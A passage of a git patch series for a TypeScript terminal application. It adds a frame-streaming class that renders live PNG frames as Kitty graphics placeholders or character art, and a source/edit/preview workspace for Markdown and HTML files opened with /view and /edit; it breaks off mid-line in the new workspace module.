+1,246 @@ +import type {ColorLevel} from '../presentation/capabilities.js'; +import {kittyTransmit} from '../presentation/ImageSurface.js'; +import type {GraphicsDecision} from './capabilities.js'; +import {MAX_PLACEHOLDER_SPAN, kittyDeleteImage, kittyVirtualPlacement, placeholderRows} from './kittyPlaceholder.js'; +import {decodePng} from './png.js'; +import type {Raster} from './raster.js'; +import {renderCells} from './unicode.js'; + +/** + * Live frames: a surface whose picture changes while it is shown (a browser page; video later). A `FrameStream` turns each new + * PNG into rows of text for one cell box, through the same two routes the still-image service uses: + * + * Kitty placeholders (`decision.inline === 'placeholder'`): the PNG is uploaded under one of two alternating image ids with a + * virtual placement, and the rows name that id. The id shown before it is deleted one update later, so the terminal never + * shows both and never keeps a stale image; `settle()` deletes the last one once nothing newer is coming. + * Character art (everything else): the PNG is decoded and drawn with `renderCells`, at a lower rate. + * + * Frames are dropped, never queued: identical frames cost nothing, a frame that arrives before the minimum interval is skipped + * (the previous rows stay), and the interval backs off while uploads are large or the previous write had not drained. Nothing + * here writes to the terminal except through `host.send`, which the graphics service already withholds while a program owns + * the screen. Everything is bounded: a PNG over 16 MB is skipped, and a box is clamped to the placeholder span. + */ +export interface StreamHost { + decision(): GraphicsDecision; + send(data: string): void; + /** A fresh Kitty image id (the graphics service's own allocator). */ + allocateId(): number; + color(): ColorLevel; + safeGlyphs(): boolean; + /** Optional: false while the terminal connection has not drained the previous write (the interval then backs off). */ + drained?(): boolean; + now?(): number; +} + +export interface StreamFrame { + png: Uint8Array; + width: number; + height: number; +} + +export interface StreamBox { + columns: number; + rows: number; +} + +export interface StreamOutput { + /** Exactly `box.rows` rows (clamped), each `box.columns` cells wide. */ + lines: string[]; + kind: 'kitty-placeholder' | 'character-art'; + /** The frame was not drawn (identical, too soon, too large, undecodable); `lines` still show the last picture. */ + skipped: boolean; + /** Why a frame was refused, when that is worth telling the person. */ + note?: string; +} + +export const MAX_FRAME_BYTES = 16 * 1024 * 1024; +const KITTY_MIN_INTERVAL = 66; +const KITTY_MAX_INTERVAL = 1000; +const UNICODE_MIN_INTERVAL = 125; +/** Bytes per millisecond the terminal link is assumed to take (about 4 MB/s): a large upload spaces the next one. */ +const ASSUMED_THROUGHPUT = 4096; + +export class FrameStream { + private readonly ids: number[] = []; + private current: number | undefined; + private retired: number[] = []; + private hash = 0; + private length = -1; + private box: StreamBox = {columns: 0, rows: 0}; + private lines: string[] = []; + private interval = KITTY_MIN_INTERVAL; + private nextAllowed = 0; + private raster: Raster | undefined; + private disposed = false; + private route: 'kitty-placeholder' | 'character-art' | undefined; + + constructor(private readonly host: StreamHost) {} + + private now(): number { return this.host.now ? this.host.now() : performance.now(); } + + /** Milliseconds until another frame would be accepted: a consumer may wait this long before offering the next one. */ + retryAfter(): number { return Math.max(0, Math.ceil(this.nextAllowed - this.now())); } + + update(frame: StreamFrame, requested: StreamBox): StreamOutput { + const box = { + columns: clamp(requested.columns), rows: clamp(requested.rows), + }; + const decision = this.host.decision(); + const kitty = decision.inline === 'placeholder'; + const kind = kitty ? 'kitty-placeholder' : 'character-art'; + if (this.disposed) return {lines: blank(box), kind, skipped: true}; + if (this.route && this.route !== kind) this.forget(); // the decision changed (a setting): start over on the other route + this.route = kind; + if (decision.inline === 'none') { + this.box = box; + return {lines: blank(box), kind: 'character-art', skipped: true, note: 'Graphics are off, so the page cannot be shown.'}; + } + if (frame.png.length > MAX_FRAME_BYTES) return this.skip(box, kind, 'The page frame is too large to show.'); + return kitty ? this.kitty(frame, box) : this.art(frame, box, decision); + } + + // ---- Kitty placeholders ---------------------------------------------------------------------------------------- + + private kitty(frame: StreamFrame, box: StreamBox): StreamOutput { + const hash = fnv(frame.png); + const same = hash === this.hash && frame.png.length === this.length && this.current !== undefined; + const resized = box.columns !== this.box.columns || box.rows !== this.box.rows; + if (same) { + // The picture is already in the terminal; a different box only needs its placement restated. + if (resized) this.restate(box); + return {lines: this.lines, kind: 'kitty-placeholder', skipped: true}; + } + const now = this.now(); + if (now < this.nextAllowed && this.current !== undefined) { + if (resized) this.restate(box); + return {lines: this.lines, kind: 'kitty-placeholder', skipped: true}; + } + const backlog = this.host.drained ? !this.host.drained() : false; + if (backlog && this.current !== undefined) { + this.interval = Math.min(KITTY_MAX_INTERVAL, this.interval * 2); + this.nextAllowed = now + this.interval; + return {lines: this.lines, kind: 'kitty-placeholder', skipped: true}; + } + // The id shown two uploads ago is deleted now: it was replaced a whole frame ago. + const deletes = this.retired.map(kittyDeleteImage).join(''); + this.retired = []; + const id = this.nextId(); + const previous = this.current; + let data: string; + try { data = `${kittyTransmit(frame.png, id)}${kittyVirtualPlacement(id, box.columns, box.rows)}`; } + catch { return this.skip(box, 'kitty-placeholder', 'The page frame could not be sent.'); } + this.host.send(`${deletes}${data}`); + if (previous !== undefined) this.retired.push(previous); + this.current = id; + this.hash = hash; + this.length = frame.png.length; + this.box = box; + this.lines = placeholderRows(id, box.columns, box.rows); + this.interval = Math.max(KITTY_MIN_INTERVAL, Math.floor(this.interval * 0.75)); + this.nextAllowed = now + Math.max(this.interval, data.length / ASSUMED_THROUGHPUT); + return {lines: this.lines, kind: 'kitty-placeholder', skipped: false}; + } + + private restate(box: StreamBox): void { + if (this.current === undefined) return; + this.host.send(kittyVirtualPlacement(this.current, box.columns, box.rows)); + this.box = box; + this.lines = placeholderRows(this.current, box.columns, box.rows); + } + + private nextId(): number { + while (this.ids.length < 2) this.ids.push(this.host.allocateId()); + return this.ids[0] === this.current ? this.ids[1]! : this.ids[0]!; + } + + /** Delete the picture shown before the current one. Call once a frame has been painted and nothing newer is due. */ + settle(): void { + if (!this.retired.length) return; + this.host.send(this.retired.map(kittyDeleteImage).join('')); + this.retired = []; + } + + /** The terminal lost its images (a program took the screen): forget them without deleting, so the next frame uploads again. */ + forget(): void { + this.current = undefined; + this.retired = []; + this.hash = 0; + this.length = -1; + this.lines = []; + this.raster = undefined; + this.nextAllowed = 0; + } + + // ---- character art --------------------------------------------------------------------------------------------- + + private art(frame: StreamFrame, box: StreamBox, decision: GraphicsDecision): StreamOutput { + const hash = fnv(frame.png); + const same = hash === this.hash && frame.png.length === this.length && this.raster !== undefined; + const resized = box.columns !== this.box.columns || box.rows !== this.box.rows; + const now = this.now(); + if (same && !resized) return {lines: this.lines, kind: 'character-art', skipped: true}; + if (!same && now < this.nextAllowed && this.lines.length) return {lines: this.lines, kind: 'character-art', skipped: true}; + let raster = this.raster; + if (!same) { + try { raster = decodePng(frame.png); } + catch { return this.skip(box, 'character-art', 'The page frame could not be read.'); } + } + if (!raster) return this.skip(box, 'character-art', 'The page frame could not be read.'); + const start = this.now(); + let art; + try { art = renderCells(raster, {columns: box.columns, rows: box.rows, mode: decision.unicode === 'ascii' ? 'ascii' : decision.unicode, color: this.host.color(), safe: this.host.safeGlyphs()}); } + catch { return this.skip(box, 'character-art', 'The page frame could not be drawn.'); } + const end = this.now(); + this.raster = raster; + this.hash = hash; + this.length = frame.png.length; + this.box = box; + this.lines = fit(art.rows, art.columns, box); + // A render that took longer than the interval pushes the next one out by as much, so a slow terminal falls behind by dropping. + this.nextAllowed = end + Math.max(UNICODE_MIN_INTERVAL, end - start); + return {lines: this.lines, kind: 'character-art', skipped: false}; + } + + private skip(box: StreamBox, kind: StreamOutput['kind'], note: string): StreamOutput { + const lines = this.lines.length === box.rows && this.box.columns === box.columns ? this.lines : blank(box); + return {lines, kind, skipped: true, note}; + } + + /** Delete every picture this stream put in the terminal. Safe to repeat; later updates draw nothing. */ + dispose(): void { + if (this.disposed) return; + this.disposed = true; + const ids = new Set([...this.retired, ...(this.current === undefined ? [] : [this.current])]); + if (ids.size && this.route === 'kitty-placeholder') this.host.send([...ids].map(kittyDeleteImage).join('')); + this.current = undefined; + this.retired = []; + this.raster = undefined; + this.lines = []; + } +} + +function clamp(value: number): number { + return Number.isFinite(value) ? Math.max(1, Math.min(MAX_PLACEHOLDER_SPAN, Math.floor(value))) : 1; +} + +function blank(box: StreamBox): string[] { + return Array.from({length: box.rows}, () => ' '.repeat(box.columns)); +} + +/** Art rows padded to exactly the box (the art keeps the picture's aspect inside it). */ +function fit(rows: readonly string[], width: number, box: StreamBox): string[] { + const out: string[] = []; + for (const row of rows.slice(0, box.rows)) out.push(width >= box.columns ? row : `${row}${' '.repeat(box.columns - width)}`); + while (out.length < box.rows) out.push(' '.repeat(box.columns)); + return out; +} + +/** FNV-1a over the bytes: cheap, and enough to tell an unchanged frame from a changed one. */ +function fnv(bytes: Uint8Array): number { + let hash = 0x811c9dc5; + for (let index = 0; index < bytes.length; index += 1) { + hash ^= bytes[index]!; + hash = Math.imul(hash, 0x01000193); + } + return hash >>> 0; +} From debee153d741be4fd473468b6f8fe1d0290cc4a1 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 14:14:12 +0530 Subject: [PATCH 128/157] Documents: one workspace for Markdown and HTML (source, edit, preview of the same buffer); /view and /edit open it --- src/app/TerminalApp.ts | 163 ++++++++++++++++++++++- src/prompt/configuration.ts | 2 + src/viewer/DocumentWorkspace.ts | 199 +++++++++++++++++++++++++++++ src/viewer/ImagePanel.ts | 2 + src/viewer/ViewerPanel.ts | 20 ++- tests/documentWorkspace.test.ts | 167 ++++++++++++++++++++++++ tests/documentWorkspaceApp.test.ts | 141 ++++++++++++++++++++ tests/viewerApp.test.ts | 11 +- tests/viewerLive.test.ts | 8 +- 9 files changed, 701 insertions(+), 12 deletions(-) create mode 100644 src/viewer/DocumentWorkspace.ts create mode 100644 tests/documentWorkspace.test.ts create mode 100644 tests/documentWorkspaceApp.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index fcba95d5..25b551c4 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -77,6 +77,8 @@ import {displayPath, loadFileDocument, outputDocument, resolveViewPath} from '.. import {createViewer, renderViewer, viewerKey, type ViewerLook, type ViewerState} from '../viewer/ViewerPanel.js'; import {createEditor, editorKey, renderEditor, type EditorAction, type EditorState} from '../viewer/EditorPanel.js'; import {openForEdit, saveFile} from '../viewer/fileEdit.js'; +import {bufferText, createDocumentSession, renderDocumentSession, setDocumentMode, syncDocumentViewer, documentSessionKey, documentSessionLook, type DocumentSessionAction, type DocumentMode, type DocumentSession} from '../viewer/DocumentWorkspace.js'; +import {formatForPath} from '../viewer/document.js'; import {buildComparisonReport, copyableDiff, previousRun} from '../output/compare.js'; import {createStripStudio, renderStripStudio, stripStudioKey, type StripStudioState} from '../status/StripStudio.js'; import {configureListKey, renderConfigureList, type ConfigureListState} from '../tools/config/ConfigureList.js'; @@ -1778,6 +1780,14 @@ export class TerminalApp { this.render(); return; } + if (this.docSession) { + const session = this.docSession; + const {columns, rows} = this.dimensions(); + const action = documentSessionKey(session, key, columns, rows - 4, this.documentViewerLook()); + if (action) this.runDocumentAction(session, action); + this.render(); + return; + } if (this.imageView) { const view = this.imageView; const action = imageViewKey(view, key); @@ -3880,6 +3890,8 @@ export class TerminalApp { const position = list.findIndex(item => item.index === index); if (position < 0) { viewer.note = images.list().find(item => item.index === index)?.note ?? 'That image cannot be shown.'; this.render(); return; } const view = createImageView(list.map(item => ({path: item.path!, name: item.path!.split('/').pop() ?? 'image', alt: item.alt})), position, {returnTo: viewer}); + // Opened from a document session, Esc returns to that session exactly as it was (its buffer and edits are untouched). + if (this.docSession && this.docSession.viewer === viewer) { view.returnToSession = this.docSession; delete view.returnTo; this.docSession = undefined; } this.viewer = undefined; this.imageView = view; await this.loadImageEntry(view, position); @@ -3890,7 +3902,8 @@ export class TerminalApp { if (!view) return; this.imageView = undefined; this.graphics?.releaseOwner(view.owner); - if (view.returnTo) this.viewer = view.returnTo; + if (view.returnToSession) this.docSession = view.returnToSession as DocumentSession; + else if (view.returnTo) this.viewer = view.returnTo; else this.returnFromPanel(); this.render(); } @@ -3907,7 +3920,7 @@ export class TerminalApp { /** Apply the Text sizing setting and the probe's evidence to the typography module whenever either changes. */ private syncTypography(): void { - if (this.viewerImages && !this.viewer && !this.imageView) this.releaseViewerImages(); + if (this.viewerImages && !this.viewer && !this.imageView && !this.docSession) this.releaseViewerImages(); const capabilities = this.host.capabilities; const key = `${this.promptConfiguration.textSizing}|${capabilities.textSizing?.scale ?? '-'}|${capabilities.textSizing?.width ?? '-'}`; if (key === this.typographyKey) return; @@ -4018,6 +4031,13 @@ export class TerminalApp { // A picture opens in the image viewer; its text cannot be shown (binary), and SVG is source text, never drawn. const imagePath = resolveViewPath(target, this.shellCwd); if (IMAGE_EXTENSIONS.has(extname(imagePath).slice(1).toLowerCase())) { void this.openImageViewer(imagePath, command); return; } + // Markdown and HTML open in the document workspace (source, edit and preview of one buffer) when the file can be edited + // safely; a file that cannot is read in the read-only viewer, as before. + const kind = formatForPath(imagePath).format; + if ((kind === 'markdown' || kind === 'html') && this.promptConfiguration.documentWorkspace !== false) { + void this.openDocumentSession(target, command, 'source', true); + return; + } const load = new AbortController(); this.viewerLoad = load; void loadFileDocument(target, this.shellCwd, {signal: load.signal}).then(async result => { @@ -4050,6 +4070,8 @@ export class TerminalApp { * stay readable in /view). `returnTo` is the viewer it was opened from; it is reopened if the file cannot be edited. */ private openTextEditor(target: string, command: string, returnTo?: ViewerState): void { + const kind = formatForPath(resolveViewPath(target, this.shellCwd)).format; + if ((kind === 'markdown' || kind === 'html') && this.promptConfiguration.documentWorkspace !== false) { void this.openDocumentSession(target, command, 'edit', false); return; } void openForEdit(target, this.shellCwd).then(result => { if (this.stopped) return; if (!result.ok) { @@ -4100,6 +4122,138 @@ export class TerminalApp { }); } + // ---- Document session ------------------------------------------------------------------------------------- + + /** The viewer look for the session's read-only modes. */ + private documentViewerLook(): ViewerLook { + const look = this.viewerLook(); + return this.docSession ? documentSessionLook(this.docSession, look) : look; + } + + /** + * /view and /edit on a Markdown or HTML file: one buffer shown as source, editor or preview. `fallback`: /view falls back to the + * read-only viewer when the file cannot be edited safely (too big, read-only, mixed line endings…); /edit says why in the transcript. + */ + private async openDocumentSession(target: string, command: string, mode: DocumentMode, fallback: boolean): Promise { + // /view never creates a file: one that does not exist is reported by the read-only path. + if (fallback && !existsSync(resolveViewPath(target, this.shellCwd))) { await this.openReadOnlyDocument(target, command, 'it does not exist'); return; } + const result = await openForEdit(target, this.shellCwd); + if (this.stopped) return; + if (!result.ok) { + if (!fallback) { this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } + // Not editable: the read-only viewer still shows it (rendered), saying why it cannot be edited. + await this.openReadOnlyDocument(target, command, result.reason); + return; + } + if (this.hasModalInput()) return; + this.panelOrigin = undefined; + this.releaseViewerImages(); + this.viewer = undefined; + this.docSession = createDocumentSession(result.file, mode); + if (mode === 'preview') this.beginPreview(this.docSession, false); + this.render(); + } + + private async openReadOnlyDocument(target: string, command: string, why: string): Promise { + const load = new AbortController(); + this.viewerLoad = load; + const result = await loadFileDocument(target, this.shellCwd, {signal: load.signal}); + if (this.viewerLoad !== load || this.stopped) return; + this.viewerLoad = undefined; + if (!result.ok) { this.output.addFrontendInteraction(command, result.reason, ERROR); this.render(); return; } + if (this.hasModalInput()) return; + this.panelOrigin = undefined; + this.releaseViewerImages(); + const viewer = createViewer(result.document); + viewer.note = `Read-only: ${why}`; + this.viewer = viewer; + this.render(); + } + + /** Entering the preview, or refreshing it: the page shows the buffer as it is now. Without a browser the native renderer does. */ + private beginPreview(session: DocumentSession, refresh: boolean): void { + syncDocumentViewer(session, true); + if (session.mode === 'preview' || refresh) session.viewer.rendered = true; + this.refreshDocumentImages(session); + } + + /** The session's native preview draws local images of the CURRENT buffer, found and loaded like a viewed document's. */ + private refreshDocumentImages(session: DocumentSession): void { + if (this.promptConfiguration.graphicsMode === 'off') return; + const document = session.viewer.document; + if (document.origin.kind !== 'file') return; + const base = dirname(document.origin.realPath); + this.releaseViewerImages(); + const images = new DocumentImages(this.graphicsService(), base, base, () => { if (!this.stopped && this.docSession === session) this.render(); }); + images.collect(document); + if (!images.count) { images.close(); return; } + this.viewerImages = images; + void documentRoot(base).then(async root => { + if (this.viewerImages !== images) return; + const rooted = new DocumentImages(this.graphicsService(), base, root, () => { if (!this.stopped && this.docSession === session) this.render(); }); + rooted.collect(document); + if (this.viewerImages !== images) { rooted.close(); return; } + images.close(); + this.viewerImages = rooted; + await rooted.load(0); + if (this.docSession === session) this.render(); + }); + } + + private closeDocumentSession(): void { + const session = this.docSession; + if (!session) return; + this.docSession = undefined; + session.preview?.dispose(); + this.releaseViewerImages(); + this.returnFromPanel(); + } + + /** The session's requests that touch the disk, the clipboard or the preview. */ + private runDocumentAction(session: DocumentSession, action: DocumentSessionAction): void { + const editor = session.editor; + if (action.kind === 'close') { this.closeDocumentSession(); return; } + if (action.kind === 'copy') { + void this.copyText(action.text, 'Copied').then(note => { if (note && this.docSession === session) { editor.note = {text: note, tone: 'success'}; session.viewer.note = note; this.render(); } }); + return; + } + if (action.kind === 'preview') { this.beginPreview(session, action.refresh); return; } + if (action.kind === 'trust') { session.note = action.on ? 'Scripts are on for this preview.' : 'Scripts are off for this preview.'; return; } + if (action.kind === 'open') { void this.openFromViewer(session.viewer, {path: action.path}); return; } + if (action.kind === 'image') { void this.openDocumentImage(session.viewer, action.index); return; } + editor.busy = true; + if (action.kind === 'reload') { + void openForEdit(editor.file.path, this.shellCwd).then(result => { + editor.busy = false; + if (this.docSession !== session) return; + if (!result.ok) { editor.note = {text: result.reason, tone: 'error'}; session.viewer.note = result.reason; this.render(); return; } + const fresh = createDocumentSession(result.file, session.mode === 'edit' ? 'edit' : 'source'); + fresh.note = 'Reloaded from disk; your changes were discarded.'; + fresh.viewer.note = fresh.note; + session.preview?.dispose(); + this.docSession = fresh; + this.render(); + }); + return; + } + const lines = [...editor.buffer.lines]; + void saveFile(editor.file, lines, {...(action.force ? {force: true} : {})}).then(result => { + editor.busy = false; + if (this.docSession !== session) return; + if (result.ok) { + editor.file = result.file; + if (editor.buffer.lines.length === lines.length && editor.buffer.lines.every((line, index) => line === lines[index])) editor.buffer.markSaved(); + if (action.thenClose) { this.closeDocumentSession(); this.render(); return; } + editor.note = {text: `Saved ${editor.file.title}.`, tone: 'success'}; + session.viewer.note = `Saved ${editor.file.title}.`; + syncDocumentViewer(session, session.mode === 'preview'); + } else if (result.conflict) { + editor.dialog = {kind: 'conflict', focus: 0, conflict: result.conflict, reason: result.reason, ...(action.thenClose ? {thenClose: true} : {})}; + } else { editor.note = {text: `${result.reason} Your text is still here.`, tone: 'error'}; session.viewer.note = result.reason; } + this.render(); + }); + } + /** View output: the record's stored output, numbered as /copy numbers it. */ private openOutputViewer(record: CompletedCommand): void { const number = this.output.recentShellCommands().indexOf(record) + 1; @@ -5485,7 +5639,7 @@ export class TerminalApp { private get settingsPanelActive(): boolean { return this.hasModalInput(); } private hasModalInput(ignorePalette = false): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.arcade || this.imageView || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.arcade || this.docSession || this.imageView || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.launcher || this.modsPanel || this.worktreePanel || this.githubPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.queuePanel || this.queueHistoryPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } @@ -5529,6 +5683,7 @@ export class TerminalApp { if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); if (this.arcade) { const arcadeFrame = this.arcade.session.render(); this.panelBlocks = arcadeFrame.overlays; return arcadeFrame.rows; } + if (this.docSession) { const rows = renderDocumentSession(this.docSession, columns, this.dimensions().rows - 4, this.documentViewerLook()); this.panelBlocks = this.docSession.overlays; return rows; } if (this.imageView) return renderImageView(this.imageView, columns, this.dimensions().rows - 4, this.graphicsService()); if (this.viewer) { const rows = renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); this.panelBlocks = this.viewer.overlays ?? []; return rows; } if (this.textEditor) return renderEditor(this.textEditor, columns, this.dimensions().rows - 4); @@ -9710,6 +9865,8 @@ export class TerminalApp { /** The images of the open document (Markdown or HTML) and the standalone image viewer. */ private viewerImages?: DocumentImages; private imageView?: ImageViewState; + /** A Markdown or HTML file open for reading, editing and preview at once (see viewer/DocumentWorkspace). */ + private docSession?: DocumentSession; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index d670531f..188adfab 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -693,6 +693,8 @@ export interface PromptConfiguration { askCommandSuggestions: AskCommandSuggestions; /** Real image rendering (graphics service); text and menus are never images. */ graphicsMode: GraphicsMode; + /** Markdown and HTML files open in the document workspace (source, edit, preview); off keeps the read-only viewer and the plain editor. */ + documentWorkspace?: boolean; /** Relative text sizing for document headings, titles and celebrations (OSC 66, where verified). */ textSizing: TextSizingSetting; /** How the Ask panel lays out its conversation; independent of the transcript's presentation. */ diff --git a/src/viewer/DocumentWorkspace.ts b/src/viewer/DocumentWorkspace.ts new file mode 100644 index 00000000..0230227d --- /dev/null +++ b/src/viewer/DocumentWorkspace.ts @@ -0,0 +1,199 @@ +import type {Key} from '../terminal/keys.js'; +import type {TextOverlay} from '../arcade/Canvas.js'; +import {createEditor, editorKey, renderEditor, type EditorAction, type EditorState} from './EditorPanel.js'; +import {formatForPath, type ViewDocument} from './document.js'; +import type {EditableFile} from './fileEdit.js'; +import {createViewer, renderViewer, viewerKey, type ViewerAction, type ViewerLook, type ViewerState} from './ViewerPanel.js'; + +/** + * The document workspace for Markdown and HTML files: one document, three ways to look at it, switched with a key and never + * by reopening anything. + * + * source the file's text, read-only navigation (the viewer): scroll, find, go to line. `e` starts typing. + * edit the native editor on the same buffer. Plain letters are text; `Ctrl+O` shows the preview, `Esc` returns to source. + * preview the rendered document of the CURRENT buffer, saved or not: a real Chromium page when a browser is installed + * (`PreviewView`), otherwise NMSh's own renderer. `e` edits, `r` refreshes, `Esc` returns to source. + * + * There is one `EditorState` (buffer, undo history, caret, selection, file identity, save and conflict dialogs); the viewer + * is re-synced from its lines whenever a read-only mode is shown, so nothing is copied that could drift. Showing the + * preview never saves. Saving, reloading and the conflict rules are the editor's own (atomic write, identity check, BOM + * and line endings kept). In navigation modes `h`, `e`, `r` are commands; while typing they are text, and Ctrl+O is the + * switch that works there. + */ +export type DocumentMode = 'source' | 'edit' | 'preview'; + +/** The browser-backed preview as the workspace sees it (see browser/ for the engine behind it). */ +export interface PreviewView { + /** Rows for the preview body area of `columns` x `height`, and the sized-text or image overlays it needs. */ + render(columns: number, height: number): {rows: string[]; overlays?: TextOverlay[]}; + /** A key in preview mode that the workspace did not take (scrolling, zoom, find). */ + key(key: Key): void; + dispose(): void; + /** One short line for the status row (zoom, find count, a refused link). */ + status(): string | undefined; +} + +export interface DocumentSession { + mode: DocumentMode; + editor: EditorState; + viewer: ViewerState; + /** The Chromium preview, when one is running; otherwise the preview mode uses the viewer's native renderer. */ + preview?: PreviewView; + /** Scripts may run in the local preview (a trusted project); off unless the person turned them on for this file. */ + trusted: boolean; + /** The mode the preview was opened from (edit or source): Ctrl+O in the preview goes back to it. */ + before: DocumentMode; + /** Scroll positions per read-only mode, so switching back finds the place again. */ + tops: {source: {top: number; sub: number}; preview: {top: number; sub: number}}; + note?: string; + /** Sized-text blocks of the last render, positioned in the returned panel rows. */ + overlays: TextOverlay[]; +} + +export type DocumentSessionAction = + | {kind: 'close'} + | {kind: 'save'; force?: boolean; thenClose?: boolean} + /** Reload from disk, discarding the buffer (the person has confirmed when the buffer was edited). */ + | {kind: 'reload'} + | {kind: 'copy'; text: string} + /** Entering or refreshing preview: the app builds or updates the browser page from the current buffer. */ + | {kind: 'preview'; refresh: boolean} + | {kind: 'trust'; on: boolean} + | {kind: 'open'; path: string} + | {kind: 'image'; index: number}; + +/** The file's current text: the buffer's lines as one document, as the viewer reads it (unsaved edits included). */ +export function bufferText(editor: EditorState): string { + return editor.buffer.lines.join('\n'); +} + +function documentOf(editor: EditorState): ViewDocument { + const text = bufferText(editor); + const { format, language } = formatForPath(editor.file.path); + const lines = [...editor.buffer.lines]; + return { + title: editor.file.title, + origin: {kind: 'file', path: editor.file.path, realPath: editor.file.realPath, symlink: editor.file.realPath !== editor.file.path, bytes: Buffer.byteLength(text), mtimeMs: editor.file.identity?.mtimeMs ?? 0}, + lines, text, format, ...(language ? {language} : {}), + notes: editor.buffer.dirty ? ['Showing your unsaved changes.'] : [], + lineEnding: editor.file.lineEnding, complete: true, + }; +} + +export function createDocumentSession(file: EditableFile, mode: DocumentMode = 'source'): DocumentSession { + const editor = createEditor(file); + const viewer = createViewer(documentOf(editor)); + viewer.rendered = false; + viewer.numbers = true; + delete viewer.note; + return {mode, editor, viewer, trusted: false, before: 'source', tops: {source: {top: 0, sub: 0}, preview: {top: 0, sub: 0}}, overlays: []}; +} + +/** Re-sync the viewer from the buffer, keeping its scroll position, and show it as source or as the native rendering. */ +export function syncDocumentViewer(state: DocumentSession, rendered: boolean): void { + const viewer = state.viewer; + viewer.document = documentOf(state.editor); + delete viewer.markdown; + delete viewer.tokens; + delete viewer.match; + viewer.rendered = rendered; + viewer.numbers = !rendered; + delete viewer.note; +} + +export function setDocumentMode(state: DocumentSession, mode: DocumentMode): void { + if (mode === state.mode) return; + const viewer = state.viewer; + if (state.mode !== 'edit') state.tops[state.mode] = {top: viewer.top, sub: viewer.sub}; + if (mode === 'preview') state.before = state.mode; + if (mode !== 'edit') { + syncDocumentViewer(state, mode === 'preview'); + viewer.top = state.tops[mode].top; + viewer.sub = state.tops[mode].sub; + delete viewer.shown; + } + state.mode = mode; + state.note = undefined; +} + +/** The keys that switch modes in navigation, and the ones that act in every mode. */ +export function documentSessionKey(state: DocumentSession, key: Key, columns: number, height: number, look: ViewerLook = {}): DocumentSessionAction | undefined { + const editor = state.editor; + const text = key.kind === 'text' ? key.value : undefined; + state.note = undefined; + // A save or conflict dialog belongs to the editor, whatever mode raised it. + if (editor.dialog || editor.busy) return fromEditor(state, editorKey(editor, key, columns, height)); + if (key.kind === 'sendToProgram') return {kind: 'save'}; + + if (state.mode === 'edit') { + if (key.kind === 'toggleDetails') { setDocumentMode(state, 'preview'); return {kind: 'preview', refresh: false}; } + // Esc leaves typing for navigation without closing or discarding anything; the unsaved buffer stays as it is. + if (key.kind === 'escape' && !editor.input) { setDocumentMode(state, 'source'); return undefined; } + return fromEditor(state, editorKey(editor, key, columns, height)); + } + + // Navigation (source and preview). + const searching = Boolean(state.viewer.input) && state.mode === 'source'; + if (!searching) { + if (text === 'e') { setDocumentMode(state, 'edit'); return undefined; } + if (key.kind === 'toggleDetails' && state.mode === 'preview') { setDocumentMode(state, state.before); return undefined; } + if (text === 'h' || key.kind === 'toggleDetails') { + if (state.mode === 'preview') { setDocumentMode(state, 'source'); return undefined; } + setDocumentMode(state, 'preview'); + return {kind: 'preview', refresh: false}; + } + if (text === 'r' && state.mode === 'preview') { if (!state.preview) syncDocumentViewer(state, true); return {kind: 'preview', refresh: true}; } + if (text === 'r') { state.note = 'The preview shows the current text each time you open it (h); r refreshes it while it is open.'; return undefined; } + if (text === 'R') { + if (editor.buffer.dirty) { editor.dialog = {kind: 'conflict', focus: 0, conflict: 'changed', reason: `${editor.file.title} has unsaved changes. Reloading from disk discards them.`}; return undefined; } + return {kind: 'reload'}; + } + if (text === 'T' && state.mode === 'preview') { state.trusted = !state.trusted; return {kind: 'trust', on: state.trusted}; } + if ((text === 'q' || key.kind === 'escape' || key.kind === 'interrupt') && !state.viewer.query) { + if (state.mode === 'preview') { setDocumentMode(state, 'source'); return undefined; } + if (editor.buffer.dirty) { editor.dialog = {kind: 'unsaved', focus: 0}; return undefined; } + return {kind: 'close'}; + } + } + if (state.mode === 'preview' && state.preview) { + // The browser preview scrolls, zooms and finds by itself; the workspace owns only the keys above. + state.preview.key(key); + return undefined; + } + const action: ViewerAction | undefined = viewerKey(state.viewer, key, columns, height, look); + if (!action) return undefined; + if (action.kind === 'close') return editor.buffer.dirty && !state.viewer.query ? (editor.dialog = {kind: 'unsaved', focus: 0}, undefined) : {kind: 'close'}; + if (action.kind === 'copy') return {kind: 'copy', text: action.text}; + if (action.kind === 